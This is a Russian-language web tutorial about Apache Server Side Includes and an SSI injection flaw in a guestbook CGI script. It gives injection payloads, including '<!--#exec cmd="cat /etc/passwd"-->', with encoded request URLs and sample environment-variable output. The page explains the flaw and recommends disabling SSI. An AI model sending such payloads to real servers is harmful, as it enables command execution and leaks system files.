П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 3511 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 6114 раз(а).

Учебник HTML.
Просмотров 3268 раз(а).

Руководство по PHP5.
Просмотров 5490 раз(а).

Хостинг через призму DNS.
Просмотров 4128 раз(а).

Подборка текстов стандартных документов.
Просмотров 55769 раз(а).

Учебник PHP - Самоучитель
Просмотров 3084 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 5607 раз(а).

Внешние атаки...
Просмотров 3834 раз(а).

Учебник PHP.
Просмотров 2821 раз(а).

SSI в примерах.
Просмотров 37458 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Конфигурация Apache с "SSI (Server Side Include)"

Server Side Include - вставки на стороне сервера - одна из возможностей веб-сервера. Она позволяет вставлять инструкции в веб-страницы, такие как включение в страницу необработанного файла или выполнение команды (оболочки или CGI скрипта).

В файле конфигурации Apache httpd.conf инструкция "AddHandler server-parsed .shtml" включает этот механизм. Часто, чтобы убрать различие между .html и .shtml, в этой инструкции используют расширение .html. Естественно, это замедляет работу сервера... Работа механизма контролируется на уровне директорий при помощи инструкций:

  • Options Includes активизирует все SSI ;
  • OptionsIncludesNoExec запрещает использование exec cmd и exec cgi.

В присоединенном к этому документу скрипте guestbook.cgi, текст, предоставленный пользователем, включается в HTML файл без замены символов '<' и ' >' на HTML код &lt; и &gt;. Любознательный человек может передать одну из следующих инструкций:

  • <!--#printenv --> (обратите внимение на пробел после printenv )
  • <!--#exec cmd="cat /etc/passwd"-->
При помощи первой,
guestbook.cgi?email=pappy&texte=%3c%21--%23printenv%20--%3e
вы получите несколько строк с информацией о системе:
DOCUMENT_ROOT=/home/web/sites/www8080
HTTP_ACCEPT=image/gif, image/jpeg, image/pjpeg, image/png, */*
HTTP_ACCEPT_CHARSET=iso-8859-1,*,utf-8
HTTP_ACCEPT_ENCODING=gzip
HTTP_ACCEPT_LANGUAGE=en, fr
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=www.esiea.fr:8080
HTTP_PRAGMA=no-cache
HTTP_REFERER=http://www.esiea.fr:8080/~grenier/cgi/guestbook.cgi?
 email=&texte=%3C%21--%23include+file%3D%22guestbook.cgi%22--%3E
HTTP_USER_AGENT=Mozilla/4.76 [fr] (X11; U; Linux 2.2.16 i686)
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin
REMOTE_ADDR=194.57.201.103
REMOTE_HOST=nef.esiea.fr
REMOTE_PORT=3672
SCRIPT_FILENAME=/mnt/c/nef/grenier/public_html/cgi/guestbook.html
SERVER_ADDR=194.57.201.103
SERVER_ADMIN=master8080@nef.esiea.fr
SERVER_NAME=www.esiea.fr
SERVER_PORT=8080
SERVER_SIGNATURE=<ADDRESS>Apache/1.3.14 Server www.esiea.fr Port 8080</ADDRESS>

SERVER_SOFTWARE=Apache/1.3.14 (Unix)  (Red-Hat/Linux) PHP/3.0.18
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET
QUERY_STRING=
REQUEST_URI=/~grenier/cgi/guestbook.html
SCRIPT_NAME=/~grenier/cgi/guestbook.html
DATE_LOCAL=Tuesday, 27-Feb-2001 15:33:56 CET
DATE_GMT=Tuesday, 27-Feb-2001 14:33:56 GMT
LAST_MODIFIED=Tuesday, 27-Feb-2001 15:28:05 CET
DOCUMENT_URI=/~grenier/cgi/guestbook.shtml
DOCUMENT_PATH_INFO=
USER_NAME=grenier
DOCUMENT_NAME=guestbook.shtml

Инструкция exec предоставляет вам почти что эквивалент shell:

guestbook.cgi?email=ppy&texte=%3c%21--%23exec%20cmd="cat%20/etc/passwd"%20--%3e

Не используйте "<!--#include file="/etc/passwd"-->", путь должен задаваться относительно директории, где расположен HTML файл и не должен содержать "..". Файл error_log Apache будет содержать сообщение о попытке доступа к запрещенному файлу. А пользователь сможет увидеть сообщение [an error occurred while processing this directive(при обработке инструкции возникла ошибка)] на HTML странице.

SSI редко бывают нужны, поэтому их лучше отключить на сервере. Причина рассмотренной проблемы - комбинация неправильного скрипта guestbook и SSI.

[ Назад ] [ Содержание ] [ Вперед ]



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru